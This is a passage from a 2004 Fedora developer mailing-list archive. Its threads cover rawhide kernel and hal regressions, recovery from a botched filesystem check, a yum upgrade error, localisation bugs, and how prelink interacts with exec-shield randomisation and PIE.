(esd,ALSA, or OSS for example) the program is using. c) which sound card you have Regards, -- Ricardo Veguilla From david at fubar.dk Fri Oct 15 15:37:38 2004 From: david at fubar.dk (David Zeuthen) Date: Fri, 15 Oct 2004 11:37:38 -0400 Subject: rawhide report: 20041015 changes In-Reply-To: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> Message-ID: <1097854658.3615.1.camel@davidz> On Fri, 2004-10-15 at 08:01 -0400, Build System wrote: > hal-0.4.0-2 Doesn't seem to work very well for me nor J5 with > kernel-2.6.8-1.624 and I'm trying to figure out why - it does work with kernel-2.6.8-1.610. Thanks, David From bobgus at rcn.com Fri Oct 15 15:40:31 2004 From: bobgus at rcn.com (Bob Gustafson) Date: Fri, 15 Oct 2004 10:40:31 -0500 Subject: sniff - It doesn't know me anymore.. In-Reply-To: <1097776515.2714.2.camel@kyrre> References: Message-ID: On Thu, 14 Oct 2004 20:49:29 +0200, Kyrre Ness Sjobak wrote: >Urk... > >What you should have done was REMOUNTED / ro... unmounting root is an >incredible stupid thing to do (and i have no clue why your box did not >panic INSTANTLY...) Thanks very much for your reply. Suffice to say that I take my role as tester seriously. I do tend to explore the fringes of Murphy's law though. I have my system up and running now. doing a 'mv / /old' preserved my old system and I installed FC2-3 from CDs (this process is not quite ready for prime time - will add some notes later). A 'yum update' which loaded in 642 updates last night worked pretty nicely. It is loading a fresh batch of updates this morning as I write. I do have some configuration updates to make. Doing a 'mv /old/home/user1 /home/user1' took care of my user configurations, but the /etc files may not behave well if I did the same thing there.. Murphy has its limits. ---- I guess the best way to have cleaned up my root filesystem would would have been to boot up from my other disk (RH9) and do e2fsck on it when it was not part of a running system. The majority of newbies to Linux may not have these extra resources though. ---- Thanks very much for your suggestions (below). They seem quite reasonable. Perhaps you can add these to the 'what to do if things go very wrong' part of the On line Linux documentation. BobG > >Well, you could always try the "single" boot argument - it should give >you a root shell without you having to enter the root password. > >tor, 14.10.2004 kl. 06.18 skrev Bob Gustafson: >> I did some things and then rebooted >> >> It went through the module/application stage of the reboot very quickly >> (too quickly) and I now have >> >> Fedore Core release Rawhide (Rawhide) >> Kernel 2.6.8-1.610smp on an i686 >> >> (none) login: >> >> I typed in all of the usual suspects (root, user1, ..), but none are known. >> Even when I type in 'none', it doesn't know him either. >> >> What did I do? >> >> I was a bit annoyed that it was wanting me to do an 'e2fsck'. A couple of >> days ago, I was able to 'umount /boot' and do '/sbin/e2fsck -p /dev/sda1' >> and similar on all of the partitions except '/'. Doing 'umount /' was not >> successful (busy, busy) and I could not do e2fsck without umounting that >> partition. >> >> However, there was a lazy umount option 'umount -l /' >> >> This completed fine - no busy busy complaints. >> >> But, when I went to do '/sbin/e2fsck -p /dev/sda2' on the '/' partition - >> it still said it was mounted and that terrible things would happen if I >> continued. >> >> Can you imagine that? I already had 'umount'ed it, lazy whatever. So I went >> ahead and did the e2fsck. >> >> And, terrible things did happen. >> >> ----- >> >> I really did need to download the latest FC2 test release iso disks - and >> do the i2o driver installs... > >-- >fedora-devel-list mailing list >fedora-devel-list at redhat.com >http://www.redhat.com/mailman/listinfo/fedora-devel-list From jspaleta at gmail.com Fri Oct 15 15:38:28 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Fri, 15 Oct 2004 11:38:28 -0400 Subject: BerkeleyDB and config files In-Reply-To: <200410150826.46607.remco@rvt.com> References: <20041014045018.GA5157@devel.mpeters.us> <20041015051251.GA4478@devel.mpeters.us> <604aa79104101423216e62507d@mail.gmail.com> <200410150826.46607.remco@rvt.com> Message-ID: <604aa7910410150838758642a8@mail.gmail.com> On Fri, 15 Oct 2004 08:26:46 -0700, Remco Treffkorn wrote: > Look at the Elektra Project at http://elektra.sf.net. The author / maintainer > has paid attention to fedback, and I think this solution is a viable > compromise. Its nice to see that project FINALLY changed its name to something less prone to reactionary responses. Long time readers of this list have seen this project discussed before. I encourage you to look back in this list to discussions starting in July of this year. There was a long long thread and this project was discussed at length... under its old name. I'm not sure we need to rehash that discussion again, unless there are some new developments that fedora developers need to be made aware of from the linux registry project, i mean from the elektra project. -jef From linux_4ever at yahoo.com Fri Oct 15 14:42:12 2004 From: linux_4ever at yahoo.com (Steve G) Date: Fri, 15 Oct 2004 07:42:12 -0700 (PDT) Subject: rawhide report: 20041015 - hal In-Reply-To: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> Message-ID: <20041015144212.74381.qmail@web50604.mail.yahoo.com> >hal-0.4.0-2 >----------- >* Thu Oct 14 2004 David Zeuthen 0.4.0-1 >- Update to upstream stable version 0.4.0 Out of curiosity, will this version ship in FC3? Or will it be closer to what was in test3? Thanks, -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From davej at redhat.com Fri Oct 15 15:42:24 2004 From: davej at redhat.com (Dave Jones) Date: Fri, 15 Oct 2004 11:42:24 -0400 Subject: rawhide report: 20041015 changes In-Reply-To: <1097854658.3615.1.camel@davidz> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097854658.3615.1.camel@davidz> Message-ID: <20041015154223.GC23638@redhat.com> On Fri, Oct 15, 2004 at 11:37:38AM -0400, David Zeuthen wrote: > On Fri, 2004-10-15 at 08:01 -0400, Build System wrote: > > hal-0.4.0-2 > > Doesn't seem to work very well for me nor J5 with > > > kernel-2.6.8-1.624 > > and I'm trying to figure out why - it does work with kernel-2.6.8-1.610. Just to make sure I'm reading this right, hal broke after the kernel update ? Thats.. puzzling. In what way does it fail? strace diff of both working/failing may highlight something useful. Dave From remco at rvt.com Fri Oct 15 15:54:20 2004 From: remco at rvt.com (Remco Treffkorn) Date: Fri, 15 Oct 2004 08:54:20 -0700 Subject: BerkeleyDB and config files In-Reply-To: <604aa7910410150838758642a8@mail.gmail.com> References: <20041014045018.GA5157@devel.mpeters.us> <200410150826.46607.remco@rvt.com> <604aa7910410150838758642a8@mail.gmail.com> Message-ID: <200410150854.20224.remco@rvt.com> On Friday 15 October 2004 08:38, Jeff Spaleta wrote: ... > I'm not sure we need to rehash that discussion again, unless there are > some new developments that fedora developers need to be made aware of > from the linux registry project, i mean from the elektra project. The 'discussions' were severely hampered by the fact that people had prejudices because of a poor name choice. Most participants had not even read the project info. Nice sniper hit, though. Must be that special climate close to voting time ;-) -- Remco Treffkorn (RT445) HAM DC2XT remco at rvt.com (831) 685-1201 From david at fubar.dk Fri Oct 15 16:01:58 2004 From: david at fubar.dk (David Zeuthen) Date: Fri, 15 Oct 2004 12:01:58 -0400 Subject: rawhide report: 20041015 changes In-Reply-To: <20041015154223.GC23638@redhat.com> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097854658.3615.1.camel@davidz> <20041015154223.GC23638@redhat.com> Message-ID: <1097856118.3615.6.camel@davidz> On Fri, 2004-10-15 at 11:42 -0400, Dave Jones wrote: > On Fri, Oct 15, 2004 at 11:37:38AM -0400, David Zeuthen wrote: > > On Fri, 2004-10-15 at 08:01 -0400, Build System wrote: > > > hal-0.4.0-2 > > > > Doesn't seem to work very well for me nor J5 with > > > > > kernel-2.6.8-1.624 > > > > and I'm trying to figure out why - it does work with kernel-2.6.8-1.610. > > Just to make sure I'm reading this right, hal broke after the > kernel update ? That is correct. It works with .610 and it doesn't work well with .624. > Thats.. puzzling. In what way does it fail? hald looks at e.g. /dev/sda1 to probe for file system labels, UUID's, file system types etc. and it appears that reading fails. > strace diff of both working/failing may highlight something useful. > I'll file a bug. Cheers, David From david at fubar.dk Fri Oct 15 16:03:17 2004 From: david at fubar.dk (David Zeuthen) Date: Fri, 15 Oct 2004 12:03:17 -0400 Subject: rawhide report: 20041015 - hal In-Reply-To: <20041015144212.74381.qmail@web50604.mail.yahoo.com> References: <20041015144212.74381.qmail@web50604.mail.yahoo.com> Message-ID: <1097856197.3615.9.camel@davidz> On Fri, 2004-10-15 at 07:42 -0700, Steve G wrote: > >hal-0.4.0-2 > >----------- > >* Thu Oct 14 2004 David Zeuthen 0.4.0-1 > >- Update to upstream stable version 0.4.0 > > Out of curiosity, will this version ship in FC3? > Yes. Cheers, David From feliciano.matias at free.fr Fri Oct 15 16:14:33 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 15 Oct 2004 18:14:33 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> Message-ID: <1097856874.24561.30.camel@localhost.localdomain> Le vendredi 15 octobre 2004 ? 08:01 -0400, Build System a ?crit : > kernel-2.6.8-1.624 > ------------------ $ diff /boot/config-2.6.8-1.610 /boot/config-2.6.8-1.624 1681c1682 < CONFIG_RAW_DRIVER=m --- > CONFIG_RAW_DRIVER=y Why there is raw support in the kernel whereas util-linux from Fedora drop raw support ? Is there a new way to create (obsolete) raw device other than using the "raw" programme (normally in util-linux) ? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From ang3l0 at katamail.com Fri Oct 15 16:18:20 2004 From: ang3l0 at katamail.com (Angelo) Date: Fri, 15 Oct 2004 18:18:20 +0200 Subject: hotplug doesn't work on kernels >= 2.6.7 In-Reply-To: <20041013223856.GD4604@devserv.devel.redhat.com> References: <416D73BD.2030806@katamail.com> <20041013191255.GB28852@nostromo.devel.redhat.com> <20041013223856.GD4604@devserv.devel.redhat.com> Message-ID: <416FF84C.8090501@katamail.com> Alan Cox wrote: > What is your hardware ? HW info of the victim box: - P4P800 Deluxe mobo - Pentium 4 2.8 HT - 1GB of DDR RAM Regards, Angelo From davej at redhat.com Fri Oct 15 16:21:22 2004 From: davej at redhat.com (Dave Jones) Date: Fri, 15 Oct 2004 12:21:22 -0400 Subject: rawhide report: 20041015 changes In-Reply-To: <1097856874.24561.30.camel@localhost.localdomain> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097856874.24561.30.camel@localhost.localdomain> Message-ID: <20041015162122.GI23638@redhat.com> On Fri, Oct 15, 2004 at 06:14:33PM +0200, Matias F?liciano wrote: > Le vendredi 15 octobre 2004 ? 08:01 -0400, Build System a ?crit : > > kernel-2.6.8-1.624 > > ------------------ > > > $ diff /boot/config-2.6.8-1.610 /boot/config-2.6.8-1.624 > 1681c1682 > < CONFIG_RAW_DRIVER=m > --- > > CONFIG_RAW_DRIVER=y > > > Why there is raw support in the kernel whereas util-linux from Fedora > drop raw support ? That's a slip-up caused by the RHEL4 kernel being built from the same sources. it should be off for Fedora. > Is there a new way to create (obsolete) raw device other than using the > "raw" programme (normally in util-linux) ? Use O_DIRECT directly on the block device. Dave From ang3l0 at katamail.com Fri Oct 15 16:23:55 2004 From: ang3l0 at katamail.com (Angelo) Date: Fri, 15 Oct 2004 18:23:55 +0200 Subject: hotplug doesn't work on kernels >= 2.6.7 In-Reply-To: <20041013191255.GB28852@nostromo.devel.redhat.com> References: <416D73BD.2030806@katamail.com> <20041013191255.GB28852@nostromo.devel.redhat.com> Message-ID: <416FF99B.1070502@katamail.com> Bill Nottingham wrote: > Do you get errors from the USB controller initialization? it can't initialize the ehci controller only with the kernels >= 2.6.7 I've attached a some interesting output to this mail (dmesg, lspci -vv, lsusb -vv, lsmod) tar-bzipped. Regards, Angelo -------------- next part -------------- A non-text attachment was scrubbed... Name: 2.6.8-1.521.tar.bz2 Type: application/x-bzip Size: 8336 bytes Desc: not available URL: From ang3l0 at katamail.com Fri Oct 15 16:26:18 2004 From: ang3l0 at katamail.com (Angelo) Date: Fri, 15 Oct 2004 18:26:18 +0200 Subject: hotplug doesn't work on kernels >= 2.6.7 In-Reply-To: References: <416D73BD.2030806@katamail.com> Message-ID: <416FFA2A.3050206@katamail.com> Gianluca Sforna wrote: > P4P800??? guess you are lucky to have a working fedora... With a boot cd made by Arjan van der Ven it is possible to install FC2 with no harms Regards, Angelo From feliciano.matias at free.fr Fri Oct 15 17:21:39 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 15 Oct 2004 19:21:39 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <20041015162122.GI23638@redhat.com> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> <1097856874.24561.30.camel@localhost.localdomain> <20041015162122.GI23638@redhat.com> Message-ID: <1097860899.24561.34.camel@localhost.localdomain> Le vendredi 15 octobre 2004 ? 12:21 -0400, Dave Jones a ?crit : > On Fri, Oct 15, 2004 at 06:14:33PM +0200, Matias F?liciano wrote: > > Le vendredi 15 octobre 2004 ? 08:01 -0400, Build System a ?crit : > > > kernel-2.6.8-1.624 > > > ------------------ > > > > > > $ diff /boot/config-2.6.8-1.610 /boot/config-2.6.8-1.624 > > 1681c1682 > > < CONFIG_RAW_DRIVER=m > > --- > > > CONFIG_RAW_DRIVER=y > > > > > > Why there is raw support in the kernel whereas util-linux from Fedora > > drop raw support ? > > That's a slip-up caused by the RHEL4 kernel being built from the same > sources. OK. Good reason ;-) > > it should be off for Fedora. > > > Is there a new way to create (obsolete) raw device other than using the > > "raw" programme (normally in util-linux) ? > > Use O_DIRECT directly on the block device. Yes, but O_DIRECT does not need CONFIG_RAW_DRIVER . Now I understand the situation. Thanks for the reply. > Dave > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From jmorris at redhat.com Fri Oct 15 17:35:30 2004 From: jmorris at redhat.com (James Morris) Date: Fri, 15 Oct 2004 13:35:30 -0400 (EDT) Subject: Rawhide update problem Message-ID: I just tried to update an x86_64 box to the latest rawhide (from FC2test something), and got the following: Kernel Updated/Installed, checking for bootloader Traceback (most recent call last): File "/usr/bin/yum", line 30, in ? File "/usr/share/yum/yummain.py", line 375, in main File "/usr/share/yum/pkgaction.py", line 588, in kernelupdate ImportError: No module named checkbootloader Any clues on how to fix this? - James -- James Morris From skvidal at phy.duke.edu Fri Oct 15 18:32:35 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 15 Oct 2004 14:32:35 -0400 Subject: Rawhide update problem In-Reply-To: References: Message-ID: <1097865154.28039.19.camel@opus.phy.duke.edu> On Fri, 2004-10-15 at 13:35, James Morris wrote: > I just tried to update an x86_64 box to the latest rawhide (from FC2test > something), and got the following: > > Kernel Updated/Installed, checking for bootloader > Traceback (most recent call last): > File "/usr/bin/yum", line 30, in ? > > File "/usr/share/yum/yummain.py", line 375, in main > File "/usr/share/yum/pkgaction.py", line 588, in kernelupdate > ImportError: No module named checkbootloader > > Any clues on how to fix this? Yes and No, When you upgrade from fc2 to fc3(ish) you should upgrade yum FIRST. Then do the rest. that will solve this specific problem, I think. -sv From kyrre at solution-forge.net Fri Oct 15 18:35:59 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 15 Oct 2004 20:35:59 +0200 Subject: sniff - It doesn't know me anymore.. In-Reply-To: References: Message-ID: <1097865358.3873.9.camel@kyrre> fre, 15.10.2004 kl. 17.40 skrev Bob Gustafson: > On Thu, 14 Oct 2004 20:49:29 +0200, Kyrre Ness Sjobak wrote: > >Urk... > > > >What you should have done was REMOUNTED / ro... unmounting root is an > >incredible stupid thing to do (and i have no clue why your box did not > >panic INSTANTLY...) > > Thanks very much for your reply. Suffice to say that I take my role as > tester seriously. I do tend to explore the fringes of Murphy's law though. > > I have my system up and running now. doing a 'mv / /old' preserved my old > system and I installed FC2-3 from CDs (this process is not quite ready for > prime time - will add some notes later). > > A 'yum update' which loaded in 642 updates last night worked pretty nicely. > It is loading a fresh batch of updates this morning as I write. > > I do have some configuration updates to make. Doing a 'mv /old/home/user1 > /home/user1' took care of my user configurations, but the /etc files may > not behave well if I did the same thing there.. Murphy has its limits. > > ---- > > I guess the best way to have cleaned up my root filesystem would would have > been to boot up from my other disk (RH9) and do e2fsck on it when it was > not part of a running system. The majority of newbies to Linux may not have > these extra resources though. > > ---- Thanks very much for your suggestions (below). They seem quite > reasonable. Perhaps you can add these to the 'what to do if things go very > wrong' part of the On line Linux documentation. > > BobG > I have never had to do it myself. Since you now have the hands-on experience, cant you do it? And what documentation are you talking about? > > > > >Well, you could always try the "single" boot argument - it should give > >you a root shell without you having to enter the root password. > > > >tor, 14.10.2004 kl. 06.18 skrev Bob Gustafson: > >> I did some things and then rebooted > >> > >> It went through the module/application stage of the reboot very quickly > >> (too quickly) and I now have > >> > >> Fedore Core release Rawhide (Rawhide) > >> Kernel 2.6.8-1.610smp on an i686 > >> > >> (none) login: > >> > >> I typed in all of the usual suspects (root, user1, ..), but none are known. > >> Even when I type in 'none', it doesn't know him either. > >> > >> What did I do? > >> > >> I was a bit annoyed that it was wanting me to do an 'e2fsck'. A couple of > >> days ago, I was able to 'umount /boot' and do '/sbin/e2fsck -p /dev/sda1' > >> and similar on all of the partitions except '/'. Doing 'umount /' was not > >> successful (busy, busy) and I could not do e2fsck without umounting that > >> partition. > >> > >> However, there was a lazy umount option 'umount -l /' > >> > >> This completed fine - no busy busy complaints. > >> > >> But, when I went to do '/sbin/e2fsck -p /dev/sda2' on the '/' partition - > >> it still said it was mounted and that terrible things would happen if I > >> continued. > >> > >> Can you imagine that? I already had 'umount'ed it, lazy whatever. So I went > >> ahead and did the e2fsck. > >> > >> And, terrible things did happen. > >> > >> ----- > >> > >> I really did need to download the latest FC2 test release iso disks - and > >> do the i2o driver installs... > > > >-- > >fedora-devel-list mailing list > >fedora-devel-list at redhat.com > >http://www.redhat.com/mailman/listinfo/fedora-devel-list From ottohaliburton at comcast.net Fri Oct 15 18:43:10 2004 From: ottohaliburton at comcast.net (Otto Haliburton) Date: Fri, 15 Oct 2004 13:43:10 -0500 Subject: Rawhide update problem In-Reply-To: <1097865154.28039.19.camel@opus.phy.duke.edu> Message-ID: <00bd01c4b2e6$d4dde2b0$4801a8c0@C515816A> > -----Original Message----- > From: fedora-devel-list-bounces at redhat.com [mailto:fedora-devel-list- > bounces at redhat.com] On Behalf Of seth vidal > Sent: Friday, October 15, 2004 1:33 PM > To: Development discussions related to Fedora Core > Subject: Re: Rawhide update problem > > On Fri, 2004-10-15 at 13:35, James Morris wrote: > > I just tried to update an x86_64 box to the latest rawhide (from FC2test > > something), and got the following: > > > > Kernel Updated/Installed, checking for bootloader > > Traceback (most recent call last): > > File "/usr/bin/yum", line 30, in ? > > > > File "/usr/share/yum/yummain.py", line 375, in main > > File "/usr/share/yum/pkgaction.py", line 588, in kernelupdate > > ImportError: No module named checkbootloader > > > > Any clues on how to fix this? > > Yes and No, > > When you upgrade from fc2 to fc3(ish) you should upgrade yum FIRST. > > Then do the rest. > > that will solve this specific problem, I think. > > -sv where do you upgrade yum from. From kyrre at solution-forge.net Fri Oct 15 18:44:25 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 15 Oct 2004 20:44:25 +0200 Subject: BerkeleyDB and config files In-Reply-To: <1097822339.21364.4.camel@rousalka.dyndns.org> References: <20041014045018.GA5157@devel.mpeters.us> <1097749965.5636.135.camel@speedy.iagorubio.net> <20041015051251.GA4478@devel.mpeters.us> <604aa79104101423216e62507d@mail.gmail.com> <1097822339.21364.4.camel@rousalka.dyndns.org> Message-ID: <1097865865.3873.11.camel@kyrre> But frankly - you dont woryy about gnome settings being screwed in a simplistic enviroment (read tomsrtb etc). You worry about getting it up and running again. fre, 15.10.2004 kl. 08.38 skrev Nicolas Mailhot: > Le vendredi 15 octobre 2004 ? 02:21 -0400, Jeff Spaleta a ?crit : > > Don't underestimate the power and > > flexibility of being able to quickly open up a configuration file in > > vi from a simplistic rescue environment and be able to get something > > fixed, in your quest to build a file syntax and layout that is is to > > build graphical tools on. There are tradeoffs invovled, and I'm not > > even sure the benefits of even something simple like xml like > > structured files strikes a balance to the ease of parsing the flat > > files in vi when its needed. > > Just look at the fontconfig xml config files - perfectly accessible in > vi if you ask me. This is xml conf done right, not the junk that's > hidden behind gconf-editor. You've got about the same difference than > between a postfix and sendmail setup. > > Ease of conf is not a tech issue only. If you don't care, the smartest > tech in the world won't fix your files for you (and the mess produced by > gconf does not mean conf files can't be done in xml) > > Cheers, From biped at comcast.net Fri Oct 15 19:30:32 2004 From: biped at comcast.net (Marcus Schuetz) Date: Fri, 15 Oct 2004 15:30:32 -0400 Subject: hal-device-manager crashing Message-ID: <41702558.4060202@comcast.net> hal-device-manager is crashing for me with the following error message: Traceback (most recent call last): File "/usr/bin/hal-device-manager", line 12, in ? from DeviceManager import DeviceManager File "/usr/share/hal/device-manager/DeviceManager.py", line 6, in ? import dbus File "/usr/lib/python2.3/site-packages/dbus.py", line 44, in ? import dbus_bindings ImportError: /usr/lib/python2.3/site-packages/dbus_bindings.so: undefined symbol: dbus_message_iter_get_object_path Exit 1 I have the following hal & dbus related packages installed: hal-gnome-0.4.0-2 hal-cups-utils-0.5.2-6 hal-0.4.0-2 hal-devel-0.4.0-2 dbus-devel-0.22-10 dbus-x11-0.22-10 dbus-python-0.22-10 dbus-glib-0.22-10 dbus-0.22-10 My system seems to be wonky anyway, so I wanted to check if anybody has a solution or has seen this as well before I go to bugzillaland. Thanks, Marcus From NOS at Utel.no Fri Oct 15 19:36:39 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Fri, 15 Oct 2004 21:36:39 +0200 Subject: rawhide report: 20041015 changes In-Reply-To: <000501c4b2b0$aa5bfd00$14aaa8c0@utelsystems.local> References: <000501c4b2b0$aa5bfd00$14aaa8c0@utelsystems.local> Message-ID: <417026C7.6070401@Utel.no> Build System wrote: > kernel-2.6.8-1.624 ... > - support O_NONBLOCK for read,pread,readv of regular files. I'm just beeing curious here, how is it determined that a read of a file will block ? Does it mean select() will not present a regular file a always readable anymore ? From veguilla at hpcf.upr.edu Fri Oct 15 19:47:29 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Fri, 15 Oct 2004 15:47:29 -0400 Subject: Rawhide update problem In-Reply-To: <00bd01c4b2e6$d4dde2b0$4801a8c0@C515816A> References: <00bd01c4b2e6$d4dde2b0$4801a8c0@C515816A> Message-ID: <1097869649.4201.3.camel@ricardo.veguilla.net> On Fri, 2004-10-15 at 13:43 -0500, Otto Haliburton wrote: > > > -----Original Message----- > > From: fedora-devel-list-bounces at redhat.com [mailto:fedora-devel-list- > > bounces at redhat.com] On Behalf Of seth vidal > > Sent: Friday, October 15, 2004 1:33 PM > > To: Development discussions related to Fedora Core > > Subject: Re: Rawhide update problem > > > > On Fri, 2004-10-15 at 13:35, James Morris wrote: > > > I just tried to update an x86_64 box to the latest rawhide (from FC2test > > > something), and got the following: > > > > > > Kernel Updated/Installed, checking for bootloader > > > Traceback (most recent call last): > > > File "/usr/bin/yum", line 30, in ? > > > > > > File "/usr/share/yum/yummain.py", line 375, in main > > > File "/usr/share/yum/pkgaction.py", line 588, in kernelupdate > > > ImportError: No module named checkbootloader > > > > > > Any clues on how to fix this? > > > > Yes and No, > > > > When you upgrade from fc2 to fc3(ish) you should upgrade yum FIRST. > > > > Then do the rest. > > > > that will solve this specific problem, I think. > > > > -sv > where do you upgrade yum from. > yum update yum or download the latest rpm from http://download.fedora.redhat.com/pub/fedora/linux/core/development/i386/Fedora/RPMS/ [1] and then "yum update" or whatever.... [1] if you are going to play with rawhide, I suggest you bookmark that URL. Regards, -- Ricardo Veguilla From xose at wanadoo.es Fri Oct 15 20:36:35 2004 From: xose at wanadoo.es (Xose Vazquez Perez) Date: Fri, 15 Oct 2004 22:36:35 +0200 Subject: status of ghostscript Message-ID: <417034D3.1010906@wanadoo.es> hi, what's the ghostscript future in FC ? GNU Ghostscript http://www.ghostscript.com/doc/gnu/ http://www.gnu.org/software/ghostscript/ GPL Ghostscript http://sourceforge.net/projects/ghostscript/ ESP Ghostscript http://www.cups.org/ghostscript.php :-? Slackware has changed to ESP because it brings more drivers and has a better integration with CUPS -- Hello, this is Darl McBride, and I pronounce Linux as UNIX. From kyrre at solution-forge.net Fri Oct 15 21:46:34 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 15 Oct 2004 23:46:34 +0200 Subject: What's up with norwegian translation of Fc3-t3? And gnome? Message-ID: <1097876794.4252.33.camel@kyrre> Finally i found the time to install test 3. And as i live in norway, i prefer having norwegian instead of english on my desktop. The gnome Norwegian bokm?l translations are definatly better than the windows ones! (which where so bad that i ran it in english...) So i install fc3t3. Select "norvegian" from anacondas list, and next next next etc. But when i get to choose what default language i want, it only gives me english (us). Hmm... i DID chose norwegian, right? Check norwegian. And then firstboot comes up. In English (hey, i DID select norwegian as my def. language, right? (not quite shure there, but...). scribble it down on the sheet of "bugs found in anaconda" i have in front of me (very usefull tool when testing to have a pen and some paper. Find some bugs, bugzilla'em. Log in to gnome. english? And my clock is showing a PM time, not a 24 hr one... Whats happening? I thougth that was bound to L10n, not i18n? And i DID select norway, Oslo? Another thing: why is my gnome so ugly? I hoped for a nice, two-panel thing, and get a one panel thing that looks halfway bluecurved? (brown home folder icon etc. isnt that the same as upstream gnome, not bluecurve?) Kyrre From notting at redhat.com Fri Oct 15 21:56:03 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 15 Oct 2004 17:56:03 -0400 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <1097876794.4252.33.camel@kyrre> References: <1097876794.4252.33.camel@kyrre> Message-ID: <20041015215603.GA5357@nostromo.devel.redhat.com> Kyrre Ness Sjobak (kyrre at solution-forge.net) said: > So i install fc3t3. Select "norvegian" from anacondas list, and next > next next etc. It's a bug. Please test rawhide if you can get it... this should be fixed there. Bill From qralston+ml.redhat-fedora-devel at andrew.cmu.edu Fri Oct 15 22:37:00 2004 From: qralston+ml.redhat-fedora-devel at andrew.cmu.edu (James Ralston) Date: Fri, 15 Oct 2004 18:37:00 -0400 Subject: prelink/ExecShield/PIE interactions? Message-ID: <82742C410EE9076A30208BD7@pcmy.sei.cmu.edu> I'm confused as to how prelink and ExecShield interact, and unfortunately, neither of these two docs really clarifies the issue: http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf http://people.redhat.com/drepper/nonselsec.pdf The nonselsec.pdf document states that prelinking and load address randomization exclude each other. Prelink does not appear to conflict with either randomizing the stack location or making the stack non-executable. But if that's the case, then what exactly does the --no-exec-shield option to prelink actually *do*? What functionality of ExecShield (that it doesn't already conflict with) is left for it to disable? The reason I'm curious is due to dealing with programs that load Windows DLLs and want to load them at specific addresses. Here's what mplayer recommends as a work-around: http://www.mplayerhq.hu/DOCS/HTML/en/faq.html#id2895374 If I compare prelink.log files with and without the --no-exec-shield option, it's obvious that --no-exec-shield does in fact free up address 0x400000: --- prelink.log.old 2004-10-15 04:03:35.000000000 -0400 +++ prelink.log 2004-10-15 17:38:15.549151696 -0400 @@ -1 +1 @@ -/usr/sbin/prelink -av -mR -q +/usr/sbin/prelink -av -mR --no-exec-shield -q @@ -12,2 +12,2 @@ -Laying out 1 libraries in virtual address space 00101000-50000000 -Random base 0x3d5ee000 +Laying out 663 libraries in virtual address space 41000000-50000000 +Random base 0x4d93c000 But I still don't understand why --no-exec-shield has that effect, or what I actually loose by using it. The nonselsec.pdf document also states that PIEs are excluded from prelinking. That makes sense. But if code segments aren't writable (and I don't believe they are, IIRC), what benefit does PIE actually bring? Is it trying to make it harder for an attacker to leverage pre-existing code in the application to launch an exploit? TIA for any insight... From roland at redhat.com Fri Oct 15 22:58:43 2004 From: roland at redhat.com (Roland McGrath) Date: Fri, 15 Oct 2004 15:58:43 -0700 Subject: prelink/ExecShield/PIE interactions? In-Reply-To: James Ralston's message of Friday, 15 October 2004 18:37:00 -0400 <82742C410EE9076A30208BD7@pcmy.sei.cmu.edu> Message-ID: <200410152258.i9FMwhwf032308@magilla.sf.frob.com> > But if that's the case, then what exactly does the --no-exec-shield > option to prelink actually *do*? What functionality of ExecShield > (that it doesn't already conflict with) is left for it to disable? This option affects how prelink chooses the addresses to place libraries at. The default is --exec-shield when the kernel has exec-shield enabled at the time prelink is run, and --no-exec-shield if not. Under --no-exec-shield, it uses the traditional mmap region starting at 0x41000000, which is out of the way of things that want to use fixed addresses below there. Under --exec-shield, prelink uses addresses optimized to interact well with addresses that exec-shield randomization chooses, which may conflict with old assumptions about where "anywhere" mappings wind up. > The nonselsec.pdf document also states that PIEs are excluded from > prelinking. That makes sense. But if code segments aren't writable > (and I don't believe they are, IIRC), what benefit does PIE actually > bring? Is it trying to make it harder for an attacker to leverage > pre-existing code in the application to launch an exploit? Yes, that is the point. Many exploits work by jumping to known addresses in the commonly-found binary of the program being attacked. With PIE, these addresses are not constant any more. It is the same issue as exec-shield randomization of mmap locations addresses for dynamically allocated data (or executable code) pages. From terraformers at gmx.net Fri Oct 15 23:44:49 2004 From: terraformers at gmx.net (Lars) Date: Sat, 16 Oct 2004 01:44:49 +0200 Subject: gnupg 1.9 Message-ID: hi any chance of updating gnupg to 1.9 in fedora core? problem: i'm using kmail, which needs gpg-agent, but gnupg 1.2.6 only provides this via the package newpg from fedora extras, which is obsoleted. L From louisg00 at bellsouth.net Sat Oct 16 00:53:21 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Fri, 15 Oct 2004 20:53:21 -0400 Subject: FC3T3: iiimf-libs-devel gets installed but iiimf-libs doesn't Message-ID: <1097888001.3988.6.camel@tiger> Just noticed while updating that iiimf-libs-devel is installed but not iiimf-libs. Their are a few hanging symlinks in /usr/lib/im/lib. Shouldn't the devel package depend on iiimf-libs? Should I file a bug against im-sdk or anaconda? --Louis From tagoh at redhat.com Sat Oct 16 01:23:13 2004 From: tagoh at 